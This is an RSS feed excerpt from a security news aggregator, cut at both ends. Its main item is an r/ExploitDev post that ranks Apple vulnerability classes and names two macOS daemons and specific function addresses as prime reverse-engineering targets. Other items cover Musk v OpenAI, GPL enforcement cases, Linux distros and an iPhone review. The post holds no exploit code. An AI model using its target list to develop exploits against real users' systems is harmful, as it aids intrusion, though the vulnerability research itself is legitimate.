<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p><strong>TL;DR:</strong> We stopped trusting NVD’s notoriously vague "Apple-Other" categorisationand built a four-stream triangulation engine using CISA KEV, Wayback Machine caching, and Random Matrix Theory (RMT). Turns out, Race/TOCTOU bugs are a complete academic red herring. The real daemon screaming in mathematical agony is <code>osanalyticshelper</code>, throwing a critical RMT z-score of 11.2. If you want to automate this sort of structural call-graph inquisition yourself, the toolchain is here:<a href="https://github.com/jetnoir/poppy">https://github.com/jetnoir/poppy</a>.</p> <p>Right. Let us dispense with the pleasantries. If you spend your days knee-deep in macOS XNU internals and daemon reversing, you know that Apple’s vulnerability advisories are about as transparent as a brick wall. NVD will cheerfully tell you that a bug exists, but reading their data is like listening to a parrot that only knows the phrase "Access Control Issue."</p> <p>We decided to build a triangulation methodology (v3) to separate the actual, commercially weaponised exploits from the theoretical fluff.</p> <p>Here is the pre-submission research intelligence. Bring out your dead.</p> <h1>The Four Pillars (or, Nobody Expects the Wayback Machine)</h1> <p>To find out where the structural flaws are actually hiding, we smashed four data streams together:</p> <ul> <li><strong>Stream 1: The Baseline (NVD).</strong> We looked at 286 Apple-authored CVEs from November 2025 to May 2026. Access Control (CWE-284) is the undisputed king here (46 bugs in 6 months).</li> <li><strong>Stream 2: The Reality Check (CISA KEV).</strong> NVD tells you what Apple patched; KEV tells you what is currently severing limbs in the wild. Of the 93 all-time Apple entries , WebKit/Safari memory corruption reigns supreme with 25 entries. It's the apex priority for real threat actors.</li> <li><strong>Stream 3: The Cache Scraper.</strong> In our v1 methodology, 68% of Apple CVEs fell into a useless "Apple-Other" dark zone. By parsing cached advisory pages via the Wayback Machine, we bypassed Apple's opaque namingand mapped 82 May 2026 CVEs directly to their component names. Our blind spot dropped to 0%.</li> <li><strong>Stream 4: Spectral Anomaly Screening.</strong> We took 51 pre-filtered macOS binaries (the log-injection cohort) and ran them through a Dell C2 RMT (Random Matrix Theory) spectral screen. We analysed the mathematical structure of their call-graphs, looking for energy and entropy deviations. Pre-filtering by entitlement family gave us an 8% anomaly hit rate.</li> </ul> <h1>The Dead Parrot: XPR-Class Bugs</h1> <p>Let us take a moment of silence for Race/TOCTOU bugs. NVD is absolutely stuffed with them. Academics love them. But when we cross-referenced discovery volume with in-the-wild exploitation, we found they are completely commercially undervalued. They have precisely <em>one</em> KEV entry.</p> <p>They are an academic trap. They are ex-bugs. They have ceased to be. We have systematically downgraded them.</p> <h1>The Apex Targets (Deep RE Required)</h1> <p>Based on the spectral screening and CVE tracking, we have two daemons that are behaving very suspiciously indeed.</p> <p><strong>1.</strong> <code>osanalyticshelper</code> <strong>(Priority: EXTREME)</strong></p> <ul> <li><strong>The Crime:</strong> This is the consumer-macOS analytics gateway daemon. It threw a critical anomaly with a z-score of 11.2 (the threshold is 3.0).</li> <li><strong>The Details:</strong> It boasts a massively inflated z_energy (10.57) and z_entropy (11.18).</li> <li><strong>The Precedent:</strong> It is the exact consumer-equivalent of the <code>splunkloggingd</code> vulnerability we already mapped under a previous PCC-01 filing. It's a classic CWE-532 (Sensitive Info in Log) waiting to happen.</li> <li><strong>The Target:</strong> We are heading straight into the disassembly of <code>sub_0x10001204c</code> to look for privacy-protecting redaction failures.</li> </ul> <p><strong>2.</strong> <code>corespotlightd</code> <strong>(Priority: HIGH)</strong></p> <ul> <li><strong>The Crime:</strong> Flagged anomalous with a $Z_{-}$ score of 3.20.</li> <li><strong>The Details:</strong> What makes this one truly terrifying is its Cyclomatic Complexity. It hit 46—the highest in the entire 51-binary scanned cohort. It is an absolute spaghetti monster of branching logic.</li> <li><strong>The Precedent:</strong> Wayback data confirms Apple just shipped 2 Spotlight CVEs in May 2026, proving this surface is actively being hunted.</li> <li><strong>The Target:</strong> Deep RE of function address <code>sub_0x100003c74</code>.</li> </ul> <p>Obviously, a high RMT z-score is just a mathematical filter, not a definitive guilty verdict. But it points a massive, glowing neon finger at exactly which execution paths are hiding the structural nightmares.</p> <p>Has anyone else been feeding daemon call-graphs into RMT toolchains, or staring at <code>sub_0x10001204c</code> in Hopper wondering what on earth Apple's engineers were smoking?</p> <p>If you want to run the toolchain yourself, it's open season:<a href="https://github.com/jetnoir/poppy">https://github.com/jetnoir/poppy</a>. Happy hunting.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Prize-Unlucky"> /u/Prize-Unlucky </a> <br> <span><a href="https://www.reddit.com/r/ExploitDev/comments/1teqzg2/the_ministry_of_silly_bugs_triangulating_apples/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1teqzg2/the_ministry_of_silly_bugs_triangulating_apples/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[High-stakes courtroom drama of Musk v OpenAI hears closing arguments]]></title>
<description><![CDATA[Nine-person jury to consider whether AI firm bilked world’s richest person and unjustly enriched themselvesClosing arguments began on Thursday in Elon Musk’s lawsuit against Sam Altman and OpenAI, bringing the weeks-long courtroom battle between the two tech moguls nearer to a decision. A nine-pe...]]></description>
<link>https://tsecurity.de/de/3518819/it-nachrichten/high-stakes-courtroom-drama-of-musk-v-openai-hears-closing-arguments/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3518819/it-nachrichten/high-stakes-courtroom-drama-of-musk-v-openai-hears-closing-arguments/</guid>
<pubDate>Fri, 15 May 2026 09:48:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Nine-person jury to consider whether AI firm bilked world’s richest person and unjustly enriched themselves</p><p>Closing arguments began on Thursday in <a href="https://www.theguardian.com/technology/elon-musk">Elon Musk</a>’s lawsuit against <a href="https://www.theguardian.com/technology/sam-altman">Sam Altman</a> and <a href="https://www.theguardian.com/technology/openai">OpenAI</a>, bringing the weeks-long courtroom battle between the two tech moguls nearer to a decision. A nine-person jury is set to deliberate and return a verdict on whether they believe the AI firm and Altman are liable in the case.</p><p>The trial, which began last month in an Oakland, California, federal courthouse, has gripped <a href="https://www.theguardian.com/technology/silicon-valley">Silicon Valley</a> and featured some of the tech industry’s biggest names as witnesses. Attorneys for both sides have presented testimony and documents that have exposed Musk and Altman’s private dealings, as well as provided a window into the contentious history of OpenAI.</p> <a href="https://www.theguardian.com/technology/2026/may/14/sam-altman-elon-musk-openai-lawsuit">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fraud Signals, Not Silver Bullets: Where VPN Detection Actually Works]]></title>
<description><![CDATA[Where VPN Detection Helps Most in Fraud and Abuse Prevention Why VPN Detection Becomes a Signal, Not a Verdict Shared Exit IPs and Noisy Reputation Data Security teams get burned when they treat a VPN flag like a guilty verdict.…
Read more →
The post Fraud Signals, Not Silver Bullets: Where VPN D...]]></description>
<link>https://tsecurity.de/de/3517225/it-security-nachrichten/fraud-signals-not-silver-bullets-where-vpn-detection-actually-works/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3517225/it-security-nachrichten/fraud-signals-not-silver-bullets-where-vpn-detection-actually-works/</guid>
<pubDate>Thu, 14 May 2026 17:38:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Where VPN Detection Helps Most in Fraud and Abuse Prevention Why VPN Detection Becomes a Signal, Not a Verdict Shared Exit IPs and Noisy Reputation Data Security teams get burned when they treat a VPN flag like a guilty verdict.…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/fraud-signals-not-silver-bullets-where-vpn-detection-actually-works/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/fraud-signals-not-silver-bullets-where-vpn-detection-actually-works/">Fraud Signals, Not Silver Bullets: Where VPN Detection Actually Works</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fedora Kinoite vs. Silverblue: My verdict after testing both immutable Linux distros]]></title>
<description><![CDATA[Fedora offers two different takes on an immutable option, each of which might be similar on the inside, but on the outside, they couldn't be different.]]></description>
<link>https://tsecurity.de/de/3512289/it-nachrichten/fedora-kinoite-vs-silverblue-my-verdict-after-testing-both-immutable-linux-distros/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3512289/it-nachrichten/fedora-kinoite-vs-silverblue-my-verdict-after-testing-both-immutable-linux-distros/</guid>
<pubDate>Wed, 13 May 2026 04:32:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Fedora offers two different takes on an immutable option, each of which might be similar on the inside, but on the outside, they couldn't be different.]]></content:encoded>
</item>
<item>
<title><![CDATA[Ubuntu 26.04 vs. Fedora 44: After years of testing both Linux distros, here's my verdict]]></title>
<description><![CDATA[Ubuntu and Fedora are two powerhouse Linux distributions, but both take very different approaches, so which one should you be using?]]></description>
<link>https://tsecurity.de/de/3508184/it-nachrichten/ubuntu-2604-vs-fedora-44-after-years-of-testing-both-linux-distros-heres-my-verdict/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3508184/it-nachrichten/ubuntu-2604-vs-fedora-44-after-years-of-testing-both-linux-distros-heres-my-verdict/</guid>
<pubDate>Mon, 11 May 2026 21:02:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ubuntu and Fedora are two powerhouse Linux distributions, but both take very different approaches, so which one should you be using?]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple’s “Cheap” iPhone 17e - What’s the Catch?]]></title>
<description><![CDATA[Author: Shannon Morse - Bewertung: 12x - Views:94 Apple says the iPhone 17e is their “value” phone… but is it actually worth $599? 🤔

I took the iPhone 17e with me on a 19-day trip to Japan 🇯🇵 to really put it to the test - battery life, camera performance, durability, and everyday usability. And...]]></description>
<link>https://tsecurity.de/de/3507084/videos/apples-cheap-iphone-17e-whats-the-catch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3507084/videos/apples-cheap-iphone-17e-whats-the-catch/</guid>
<pubDate>Mon, 11 May 2026 15:04:55 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Shannon Morse - Bewertung: 12x - Views:94 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/0_J9mNpcLlw?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Apple says the iPhone 17e is their “value” phone… but is it actually worth $599? 🤔<br />
<br />
I took the iPhone 17e with me on a 19-day trip to Japan 🇯🇵 to really put it to the test - battery life, camera performance, durability, and everyday usability. And honestly? I was kinda surprised.<br />
<br />
You’re getting the A19 chip, MagSafe, 256GB starting storage, and a solid 48MP camera… but yeah, there are definitely a few trade-offs too.<br />
<br />
So is this the best budget iPhone yet, or did Apple cut too many corners?<br />
<br />
👇 Let me know what you think in the comments!<br />
<br />
💜 Support the channel (Patreon): https://www.patreon.com/shannonmorse<br />
<br />
 - Intro<br />
00:32 - iPhone 17e Pricing & Value<br />
01:20 - Design & Build Quality<br />
02:15 - Display Test (Outdoors + Brightness)<br />
03:10 - Performance (A19 Chip + Gaming) <br />
04:15 - Benchmarks & Heat<br />
05:05 - Features (AI, Call Screening, UI) <br />
06:20 - Camera Test (Photos & Video)<br />
07:50 - Battery Life Test<br />
08:40 - Charging & Connectivity<br />
09:25 - Security & Safety Features<br />
10:10 - Pros & Cons<br />
11:05 - Final Verdict - Should You Buy?<br />
<br />
Becoming a Morse Code Member by checking out the perks linked here!:<br />
https://www.youtube.com/channel/UCNofX8wmSJh7NTklvMqueOA/join<br />
<br />
Editor: @ColleenEdits<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
SUBSCRIBE! 🌸 http://www.youtube.com/ShannonMorse?sub_confirmation=1<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
SUPPORT MY WORK<br />
PATREON 💛 https://www.patreon.com/ShannonMorse<br />
BUY ME A COFFEE 💛 https://www.buymeacoffee.com/snubs<br />
MY SHOP 💛 https://shannonrmorse.com/shop<br />
SPRING SHOP 💛 https://morsecode.creator-spring.com/<br />
ACTIVE COUPON CODES 💛 https://shannonrmorse.com/support<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
FOLLOW THE SOCIALS THINGS<br />
THREADS 🌸  https://www.threads.net/@snubs<br />
INSTAGRAM 🌸  http://www.instagram.com/snubs<br />
TIKTOK 🌸  https://tiktok.com/@snubsie<br />
YOUTUBE 🌸 http://www.youtube.com/ShannonMorse?sub_confirmation=1<br />
WEBSITE 🌸 https://www.morsecodecreative.com/<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
TECH I USE AND RECOMMEND<br />
My Kits, Builds, and Must Haves ✨ https://kit.co/ShannonMorse<br />
My Amazon Influencer Page ✨ https://www.amazon.com/shop/shannonmorse<br />
My LiveStreaming Software ✨ https://streamyard.com/pal/d/6029725427957760<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
MY OTHER SHOWS<br />
Shannon Travels The World 🌙 https://www.youtube.com/@ShannonTravelsTheWorld/featured <br />
Sailor Snubs 🌙 https://www.youtube.com/@SailorSnubs/featured <br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
GET IN TOUCH<br />
Mail ✈ <br />
https://shannonrmorse.com/contact <br />
<br />
Email for Business and Sponsorship Inquiries ✈ Shannon@ShannonRMorse.com<br />
My Media Kit ✈ https://shannonrmorse.com/work-with-me <br />
Sponsor This Channel ✈ https://shannonrmorse.com/shannon-morse <br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
😍 FTC DISCLAIMER 😍<br />
Affiliate links listed above allow me to receive a small commission. Any sponsorships for videos are noted in video and listed in descriptions. Any products provided as gifts are listed above. Thank you for your support!<br />
<br />
Comment section code of conduct policy:<br />
Constructive feedback is appreciated, but please leave unproductive, divisive and harmful conversation at the door. Hateful comments are not tolerated, and these kinds of messages will be automatically removed. Thank you for making this community a welcoming experience for all viewers :)<br />
https://shannonrmorse.com/code-of-conduct<br />
<br />
Code of Ethics:<br />
https://www.morsecodecreative.com/code-of-ethics<br />
<br />
FTC: Links marked with * are affiliate links, which means I make a small commission off any sales.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[VMware becomes gold member of Linux Foundation: And what about the GPL?]]></title>
<description><![CDATA[As we can read in recent news, VMware has become a gold member of the
Linux foundation.  That causes - to say the least - very mixed feelings to me.
One thing to keep in mind: The Linux Foundation is an industry
association, it exists to act in the joint interest of it's paying
members.  It is no...]]></description>
<link>https://tsecurity.de/de/3500761/unix-server/vmware-becomes-gold-member-of-linux-foundation-and-what-about-the-gpl/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3500761/unix-server/vmware-becomes-gold-member-of-linux-foundation-and-what-about-the-gpl/</guid>
<pubDate>Fri, 08 May 2026 22:54:18 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>As we can read in recent news, <a class="reference external" href="https://www.linuxfoundation.org/announcements/vmware-becomes-linux-foundation-gold-member-pledging-increased-support-for-open">VMware has become a gold member of the
Linux foundation</a>.  That causes - to say the least - very mixed feelings to me.</p>
<p>One thing to keep in mind: The Linux Foundation is an industry
association, it exists to act in the joint interest of it's paying
members.  It is not a charity, and it does not act for the public good.
I know and respect that, while some people sometimes appear to be
confused about its function.</p>
<p>However, allowing an entity like VMware to join, despite their <a class="reference external" href="https://sfconservancy.org/copyleft-compliance/vmware-lawsuit-faq.html">many
years long disrespect for the most basic principles of the FOSS
Community (such as: Following the GPL and its copyleft principle)</a>,
really is hard to understand and accept.</p>
<p>I wouldn't have any issue if VMware would (prior to joining LF) have
said: Ok, we had some bad policies in the past, but now we fully comply
with the license of the Linux kernel, and we release all
derivative/collective works in source code.  This would be a positive
spin: Acknowledge past issues, resolve the issues, become clean and then
publicly underlining your support of Linux by (among other things)
joining the Linux Foundation.  I'm not one to hold grudges against
people who accept their past mistakes, fix the presence and then move
on.  But no, they haven't fixed any issues.</p>
<p>They are having one of the worst track records in terms of intentional
GPL compliance issues for many years, showing outright disrespect for Linux,
the GPL and ultimately the rights of the Linux developers, not resolving
those issues <em>and</em> at the same time joining the Linux Foundation?  What
kind of message sends that?</p>
<p>It sends the following messages:</p>
<ul class="simple">
<li><p>you can abuse Linux, the GPL and copyleft while still being accepted
amidst the Linux Foundation Members</p></li>
<li><p>it means the Linux Foundations has no ethical concerns whatsoever
about accepting such entities without previously asking them to become
clean</p></li>
<li><p>it also means that VMware has still not understood that Linux and FOSS
is about your actions, particularly the kind of choices you make how
to technically work <em>with</em> the community, and not <em>against</em> it.</p></li>
</ul>
<p>So all in all, I think this move has seriously damaged the image of both
entities involved.  I wouldn't have expected different of VMware, but I
would have hoped the Linux Foundation had some form of standards as to
which entities they permit amongst their ranks.  I guess I was being
overly naive :(</p>
<p>It's a slap in the face of every developer who writes code not because
he gets paid, but because it is rewarding to know that copyleft will
continue to ensure the freedom of related code.</p>
<dl class="field-list simple">
<dt>UPDATE (March 8, 2017)<span class="colon">:</span></dt>
<dd><p>I was mistaken in my original post in that VMware didn't just join,
but was a Linux Foundation member already before, it is "just" their
upgrade from silver to gold that made the news recently.  I stand
corrected.  Still doesn't make it any better that the are involved
inside LF while engaging in stepping over the lines of license
compliance.</p>
</dd>
<dt>UPDATE2 (March 8, 2017)<span class="colon">:</span></dt>
<dd><p>As some people pointed out, there is no verdict against VMware.  Yes,
that's true.  But the mere fact that they rather distribute derivative
works of GPL licensed software and take this to court with an armada
of lawyers (instead of simply complying with the license like everyone
else) is sad enough.  By the time there will be a final verdict, the
product is EOL. That's probably their strategy to begin with :/</p>
</dd>
</dl>]]></content:encoded>
</item>
<item>
<title><![CDATA[Report from the Geniatech vs. McHardy GPL violation court hearing]]></title>
<description><![CDATA[Today, I took some time off to attend the court hearing in the appeal
hearing related to a GPL infringement dispute between former netfilter
colleague Partrick McHardy and Geniatech Europe
I am not in any way legally involved in the lawsuit on either the
plaintiff or the defendant side.  However,...]]></description>
<link>https://tsecurity.de/de/3500697/unix-server/report-from-the-geniatech-vs-mchardy-gpl-violation-court-hearing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3500697/unix-server/report-from-the-geniatech-vs-mchardy-gpl-violation-court-hearing/</guid>
<pubDate>Fri, 08 May 2026 22:52:33 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Today, I took some time off to attend the court hearing in the <a class="reference external" href="https://www.heise.de/newsticker/meldung/Linux-in-Elektronikgeraeten-Streit-ueber-Lizenzbedingungen-geht-in-naechste-Instanz-3986181.html">appeal
hearing related to a GPL infringement dispute between former netfilter
colleague Partrick McHardy and Geniatech Europe</a></p>
<p>I am not in any way legally involved in the lawsuit on either the
plaintiff or the defendant side.  However, as a fellow (former) Linux
kernel developer myself, and a long-term Free Software community member
who strongly believes in the copyleft model, I of course am very
interested in this case.</p>
<section>
<h2>History of the Case</h2>
<p>This case is about GPL infringements in consumer electronics devices
based on a GNU/Linux operating system, including the Linux kernel and at
least some devices netfilter/iptables.  The specific devices in question
are a series of satellite TV receivers built by a Shenzhen (China) based
company Geniatech, which is represented in Europe by Germany-based
Geniatech Europe GmbH.</p>
<p>The Geniatech Europe CEO has openly admitted (out of court) that they
had some GPL incompliance in the past, and that there was failure on
their part that needed to be fixed.  However, he was not willing to
accept an overly wide claim in the preliminary injunction against his
company.</p>
<p>The history of the case is that at some point in July 2017, Patrick
McHardy has made a test purchase of a Geniatech Europe product, and
found it infringing the GNU General Public License v2. Apparently no
source code (and/or written offer) had been provide alongside the
binary - a straight-forward violation of the license terms and hence a
violation of copyright.  The plaintiff then asked the regional court
of Cologne to issue a preliminary injunction against the defendant,
which was granted on September 8th,2017.</p>
<p>In terms of legal procedure, in Germany, when a plaintiff applies for a
preliminary injunction, it is immediately granted by the court after
brief review of the filing, without previously hearing the defendant in
an oral hearing.  If the defendant (like in this case) wishes to appeal
the preliminary injunction, it files an appeal which then results in an
oral hearing.   This is what happened, after which the district court of
cologne (Landgericht Koeln) on October 20, 2017 <a class="reference external" href="http://docs.dpaq.de/13314-urteil_lg_k_ln.pdf">issued ruling 14 O 188/17
partially upholding the injunction</a>.</p>
<p>All in all, nothing particularly unusual about this.  There is no
dispute about a copyright infringement having existed, and this
generally grants any of the copyright holders the right to have the
infringing party to cease and desist from any further infringement.</p>
<p>However, this injunction has a <em>very wide scope</em>, stating that the
defendant was to cease and desist not only from ever publishing,
selling, offering for download <em>any version of Linux</em> (unless being
compliant to the license).  It furthermore asked the defendant to
cease and desist</p>
<ul class="simple">
<li><p><em>from putting hyperlinks on their website to any version of Linux</em></p></li>
<li><p><em>from asking users to download any version of Linux</em></p></li>
</ul>
<p>unless the conditions of the GPL are met, particularly the clauses
related to providing the complete and corresponding source code.</p>
</section>
<section>
<h2>The appeals case at OLG Cologne</h2>
<p>The defendant now escalated this to the next higher court, the higher
regional court of Cologne (OLG Koeln), asking to withdraw the earlier
ruling of the lower court, i.e. removing the injunction with its current
scope.</p>
<p>The first very positive surprise at the hearing was the depth in which
the OLG court has studied the subject matter of the dispute prior to the
hearing.  In the many GPL related court cases that I witnessed so far, it
was by far the most precise analysis of how Linux kernel development
works, and this despite the more than 1000 pages of filings that parties
had made to the court to this point.</p>
<p>Just to give you some examples:</p>
<ul class="simple">
<li><p>the court understood that Linux was created by Linus Torvalds in 1991 and
released under GPL to facilitate the open and collaborative development</p></li>
<li><p>the court recognized that there is no co-authorship / joint authorship
(German: Miturheber) in the Linux kernel as a whole, as it was not a
group of people planning+developing a given program together, but it
is a program that has been released by Linus Torvalds and has since
been edited by more than 15.000 developers without any "grand joint
plan" but rather in successive iterations.  This situation constitutes
"editing authorship" (German: Bearbeiterurheber)</p></li>
<li><p>the court further recognized that being listed as "head of the
netfilter core team" or a "subsystem maintainer" doesn't necessarily
mean that one is contributing copyrightable works.  Reviewing
thousands of patches doesn't mean you own copyright on them, drawing
an analogy to an editorial office at a publisher.</p></li>
<li><p>the court understood there are plenty of Linux versions that may not
even contain any of Patric McHardy's code (such as older versions)</p></li>
</ul>
<p>After about 35 minutes of the presiding judge explaining the court's
understanding of the case (and how kernel development works), it went on
to summarize the summary of their internal elaboration at the court
prior to the meeting.</p>
<p>In this summary, the presiding judge stated very clearly that they
believe there is some merit to the arguments of the defendant, and that
they would be inclined in a ruling favorable to the defendant based on
their current understanding of the case.</p>
<p>He cited the following main reasons:</p>
<ul class="simple">
<li><p>The Linux kernel development model does not support the claim of
Patrick McHardy having co-authored Linux.  In so far, he is only
an <em>editing author</em> (Bearbeiterurheber), and not a co-author.
Nevertheless, even an <em>editing author</em> has the right to  ask for cease
and desist, but only on those portions that he authored/edited, and
not on the entire Linux kernel.</p></li>
<li><p>The plaintiff did not sufficiently show what exactly his contributions
were and how they were forming themselves copyrightable works</p></li>
<li><p>The plaintiff did not substantiate what copyrightable contributions he
has made outside of netfilter/iptables.  His mere listing as general
networking subsystem maintainer does not clarify what his
copyrightable contributions were</p></li>
<li><p>The plaintiff being a member of the netfilter core team or even the
head of the core team still doesn't support the claim of being a
co-author, as netfilter substantially existed since 1999, three years
before Patrick's first contribution to netfilter, and five years
before joining the core team in 2004.</p></li>
</ul>
<p>So all in all, it was clear that the court also thought the ruling on
all of Linux was too far-fetching.</p>
<p>The court suggested that it might be better to
have regular main proceedings, in which expert witnesses can be called
and real evidence has to be provided, as opposed to the constraints of
the preliminary procedure that was applied currently.</p>
<p>Some other details that were mentioned somewhere during the hearing:</p>
<ul class="simple">
<li><p>Patrick McHardy apparently unilaterally terminated the license to his
works in an e-mail dated 26th of July 2017 towards the defendant.
According to the defendant (and general legal opinion, including my
own position), this is in turn a violation of the GPLv2, as it
only allowed plaintiff to create and publish modified versions of
Linux under the obligation that he licenses his works under GPLv2 to
<em>any third party</em>, including the defendant.  The defendant believes
this is abuse of his rights (German: Rechtsmissbraeuchlich).</p></li>
<li><p>sworn affidavits of senior kernel developer Greg Kroah-Hartman and
current netfilter maintainer Pablo Neira were presented in support of
some of the defendants claims.  The contents of those are
unfortunately not public, neither is the contents of the sworn
affidavists presented by the plaintiff.</p></li>
<li><p>The defendant has made substantiated claims in his filings that Patrick
McHardy would perform his enforcement activities not with the primary
motivation of achieving license compliance, but as a method to
generate monetary gain.  Such claims include that McHardy has acted in
more than 38 cases, in at least one of which he has requested a
contractual penalty of 1.8 million EUR.  The total amount of monies
received as contractual penalties was quoted as over 2 million EUR to
this point.  Please note that those are claims made by the defendant,
which were just reproduced by the court.  The court has not
assessed their validity.  However, the presiding judge explicitly
stated that he received a phone calls about this case from a lawyer
known to him personally, who supported that large contractual
penalties are being paid in other related cases.</p></li>
<li><p>One argument by the plaintiff seems to center around being listed as
a general kernel networking maintainer until 2017 (despite his latest
patches being from 2015, and those were netfilter only)</p></li>
</ul>
</section>
<section>
<h2>Withdrawal by Patrick McHardy</h2>
<p>At some point, the court hearing was temporarily suspended to provide the
legal representation of the plaintiff with the opportunity to have a
Phone call with the plaintiff to decide if they would want to continue
with their request to uphold the preliminary injunction.  After a few
minutes, the hearing was resumed, with the plaintiff withdrawing their
request to uphold the injunction.</p>
<p>As a result, the injunction is now withdrawn, and the plaintiff has to
bear all legal costs (court fees, lawyers costs on both sides).</p>
</section>
<section>
<h2>Personal Opinion</h2>
<p>For me, this is all of course a difficult topic.  With my history of
being the first to enforce the GNU GPLv2 in (equally German) court,
it is unsurprising that I am in favor of license enforcement being
performed by copyright holders.</p>
<p>I believe individual developers who have contributed to the Linux
kernel should have the right to enforce the license, if needed.  It is
important to have distributed copyright, and to avoid a situation where
only one (possibly industry friendly) entity would be able to take
[legal] action.</p>
<p>I'm not arguing for a "too soft" approach.  It's almost 15 years since
the first court cases on license violations on (embedded) Linux, and the
fact that the problem still exists today clearly shows the industry is
very far from having solved a seemingly rather simple problem.</p>
<p>On the other hand, such activities must always be oriented to
compliance, and compliance only.  Collecting huge amounts of contractual
penalties is questionable.  And if it was necessary to collect such huge
amounts to motivate large corporations to be compliant, then this must
be done in the open, with the community knowing about it, and the
proceeds of such contractual penalties must be donated to free software
related entities to prove that personal financial gain is not a
motivation.</p>
<p>The rumors of Patrick performing GPL enforcement for personal financial
gain have been around for years.  It was initially very hard for me to
believe.  But as more and more about this became known, and Patrick
would refuse to any contact requests by his former netfilter team-mates
as well as the wider kernel community make it hard to avoid drawing
related conclusions.</p>
<p>We do need enforcement, both out of court and in court.  But we need it
to happen out of the closet, with the community in the picture, and
without financial gain to individuals.  The "principles of community
oriented enforcement" of the Software Freedom Conservancy as well as the
more recent (but much less substantial) kernel enforcement statement
represent the most sane and fair approach for how we as a community
should deal with license violations.</p>
<p>So am I happy with the outcome?  Not entirely.  It's good that an
over-reaching injunction was removed.  But then, a lot of money and
effort was wasted on this, without any verdict/ruling.  It would have
been IMHO better to have a court ruling published, in which the
injunction is substantially reduced in scope (e.g. only about netfilter,
or specific versions of the kernel, or specific products, not about
placing hyperlinks, etc.).   It would also have been useful to have some
of the other arguments end up in a written ruling of a court, rather
than more or less "evaporating" in the spoken word of the hearing today,
without advancing legal precedent.</p>
</section>
<section>
<h2>Lessons learned for the developer community</h2>
<ul class="simple">
<li><p>In the absence of detailed knowledge on computer programming, legal folks
tend to look at "metadata" more, as this is what they can understand.</p></li>
<li><p>It matters who has which title and when.  Should somebody not be
an active maintainer, make sure he's not listed as such.</p></li>
<li><p>If somebody ceases to be a maintainer or developer of a project,
remove him or her from the respective lists immediately, not just
several years later.</p></li>
<li><p>Copyright statements do matter.  Make sure you don't merge any patches
adding copyright statements without being sure they are actually valid.</p></li>
</ul>
</section>
<section>
<h2>Lessons learned for the IT industry</h2>
<ul class="simple">
<li><p>There may be people doing GPL enforcement for not-so-noble motives</p></li>
<li><p>Defending yourself against claims in court can very well be worth it,
as opposed to simply settling out of court (presumably for some
money).  The <cite>Telefonica case in 2016 &lt;&gt;_</cite> has shown this, as has this
current Geniatech case.  The legal system can work, if you give it a
chance.</p></li>
<li><p>Nevertheless, if you have violated the license, and one of the
copyright holders makes a properly substantiated claim, you still will
get injunctions granted against you (and rightfully so).  This was
just not done in this case (not properly substantiated, scope of
injunction too wide/coarse).</p></li>
</ul>
</section>
<section>
<h2>Dear Patrick</h2>
<p>For years, your former netfilter colleagues and friends wanted to have a
conversation with you.  You have not returned our invitation so far.
Please do reach out to us.  We won't bite, but we want to share our
views with you, and show you what implications your actions have not
only on Linux, but also particularly on the personal and professional
lives of the very developers that you worked hand-in-hand with for
a decade.  It's your decision what you do with that information afterwards,
but please do give us a chance to talk.  We would greatly appreciate if
you'd take up that invitation for such a conversation.  Thanks.</p>
</section>]]></content:encoded>
</item>
<item>
<title><![CDATA[The CIO succession gap nobody admits]]></title>
<description><![CDATA[I have sat with three CIOs in the last two years who wanted to leave their seat and could not. One was being recruited into a larger enterprise role. One was ready to retire. One had been offered a board seat that required stepping down. In every case, the same thing stopped them. When the CEO as...]]></description>
<link>https://tsecurity.de/de/3498663/it-security-nachrichten/the-cio-succession-gap-nobody-admits/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3498663/it-security-nachrichten/the-cio-succession-gap-nobody-admits/</guid>
<pubDate>Fri, 08 May 2026 11:10:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
